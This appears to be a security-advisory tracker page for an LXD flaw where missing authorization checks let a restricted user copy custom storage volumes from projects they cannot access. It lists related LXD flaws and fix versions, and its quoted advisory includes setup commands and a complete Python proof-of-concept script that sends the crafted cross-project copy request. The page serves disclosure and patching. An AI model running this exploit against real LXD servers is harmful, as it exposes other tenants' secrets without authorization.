Patch Forecast
Yellow warning
Plan into this sprint.

GHSA-7mr3-28h5-m5vx

LXD has project restriction bypass for custom volume copy across projects

Risk score
51/100
CVSS
7.7 v3.1
Published
6 Nov 2026

Open in the live forecast Today's forecast

What to know

What it is
Reported from https://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f Missing authorization checks exist for custom volume copying where an attacker knowing the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. Thi…
Affected
github.com/canonical/lxd (go) < 0.0.0-20260630083100-c5184be310b1
Fix
Upgrade github.com/canonical/lxd to 0.0.0-20260630083100-c5184be310b1 or later.
Exploitation
No known exploitation

Story map

Story map: github.com/canonical/lxdTHE FLAWSTHE FIXGHSA-7mr3-28h5-m5vxLXD has project restrictionbypass for custom volume copyacross projectsCVSS 7.7GHSA-jpf8-86f3-wp38LXD has arbitrary fileread+write on host viatemplates/ symlink in…CVSS 9.9GHSA-9j25-mm2h-2f76LXD has arbitrary file write onhost via `exec-output` symlinkin crafted imageCVSS 9.9GHSA-47w9-6r3f-938gLXD has restricted projectbypass leading to arbitrarycommand executionCVSS 9.9FixUpgradegithub.com/canonical/lxd to0.0.0-20260203144152-d1c8ba15d160 or later.Who is exposedgithub.com/canonical/lxd (go) <0.0.0-20260203144152-d1c8ba15d160AMBER · PATCH THIS WEEKgithub.com/canonical/lxdReported fromhttps://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479 A specially craftedimage can be used to read orcreate/write arbitrary files onthe host; possibly leading to…Where it standsNo known exploitationCONNECTS TOSame weaknessAccess control flaw (CWE-284)400 other warnings in 30 days →
Story map: the flaws, the fix, how it unfolded and what it connects to. Boxes link to the record or article.

At a glance

github.com/canonical/lxd: Amber, patch this week. Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479 A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath,…

The flaws

  • GHSA-7mr3-28h5-m5vx: LXD has project restriction bypass for custom volume copy across projects (CVSS 7.7)
  • GHSA-jpf8-86f3-wp38: LXD has arbitrary file read+write on host via templates/ symlink in malicious image (CVSS 9.9)
  • GHSA-9j25-mm2h-2f76: LXD has arbitrary file write on host via `exec-output` symlink in crafted image (CVSS 9.9)
  • GHSA-47w9-6r3f-938g: LXD has restricted project bypass leading to arbitrary command execution (CVSS 9.9)

The fix

Fix: Upgrade github.com/canonical/lxd to 0.0.0-20260203144152-d1c8ba15d160 or later.

Who is exposed: github.com/canonical/lxd (go) < 0.0.0-20260203144152-d1c8ba15d160

Where it stands

  • No known exploitation

Connects to

Why it is Yellow

  • CVSS 7.7 high
  • On your watchlist: Go

Affected packages

PackageEcosystemVulnerableFixed in
github.com/canonical/lxdgo< 0.0.0-20260630083100-c5184be310b10.0.0-20260630083100-c5184be310b1

References

Original description

Reported from https://github.com/lxc/incus/security/advisories/GHSA-64f3-v33m-w89f ### Summary Missing authorization checks exist for custom volume copying where an attacker knowing the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access. ### Details The storage volume creation handler authorizes creation in the target project, then passes `req.Source.Project` into the custom-volume copy path without checking that the caller can view the source volume. `req.Source.Project` is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to `CreateCustomVolumeFromCopy`. No `allowPermission` or entitlement check (e.g. `CanView` on the source volume) is performed. From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server. ### PoC #### Setup We assume the target server is remotely accessible and a user/certificate has been added. ``` # create a new project and instance incus project create secrets incus profile show default | incus --project secrets edit default incus --project secrets storage volume create default secret-vol # restrict an existing certificate to prevent access to the project incus config trust edit cert-fp #> set, for example restricted: true projects: - default # verification, with the restricted certificate incus --project secrets storage volume ls remote:default ``` #### Exploitation The below script was partly generated. To copy the secret instance to the default project, the following command can be used. ``` python3 poc.py --url https://IP-REMOTE:8443 \ --cert path/to/client.crt --key path/to/client.key \ --target-project default --source-project secrets \ --source-volume secret-vol --name copy-secret-vol \ --pool default --source-pool default \ --insecure ``` Wait a bit for the custom volume to be copied, then `incus storage volume ls remote:default` to see the copied instance. ``` #!/usr/bin/env python3 """Copy a custom storage volume from another project into an allowed project.""" from __future__ import annotations import argparse import json import ssl import sys import urllib.error import urllib.parse import urllib.request def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes: ctx = ssl.create_default_context() if insecure: ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE ctx.load_cert_chain(cert, key) req = urllib.request.Request( url.rstrip("/") + path, data=json.dumps(body).encode(), method="POST", headers={"Content-Type": "application/json", "Accept": "application/json"}, ) try: with urllib.request.urlopen(req, context=ctx) as resp: return resp.read() except urllib.error.HTTPError as exc: sys.stderr.write(exc.read().decode(errors="replace") + "\n") raise def main() -> int: ap = argparse.ArgumentParser() ap.add_argument("--url", required=True) ap.add_argument("--cert", required=True) ap.add_argument("--key", required=True) ap.add_argument("--pool", required=True) ap.add_argument("--target-project", required=True) ap.add_argument("--source-project", required=True) ap.add_argument("--source-volume", required=True) ap.add_argument("--source-pool") ap.add_argument("--name", required=True, help="new volume name in target project") ap.add_argument("--content-type", default="filesystem", choices=["filesystem", "block"]) ap.add_argument("--volume-only", action="store_true") ap.add_argument("--insecure", action="store_true") ap.add_argument("--dry-run", action="store_true") args = ap.parse_args() source = { "type": "copy", "name": args.source_volume, "project": args.source_project, "volume_only": args.volume_only, } if args.source_pool: source["pool"] = args.source_pool body = { "name": args.name, "type": "custom", "content_type": args.content_type, "source": source, } path = "/1.0/storage-pools/{}/volumes/custom?{}".format( urllib.parse.quote(args.pool, safe=""), urllib.parse.urlencode({"project": args.target_project}), ) print(json.dumps(body, indent=2)) if args.dry_run: return 0 print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace")) return 0 if __name__ == "__main__": raise SystemExit(main()) ``` ### Impact An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.

Last activity 6 Nov 2026. Patch Forecast updates every hour.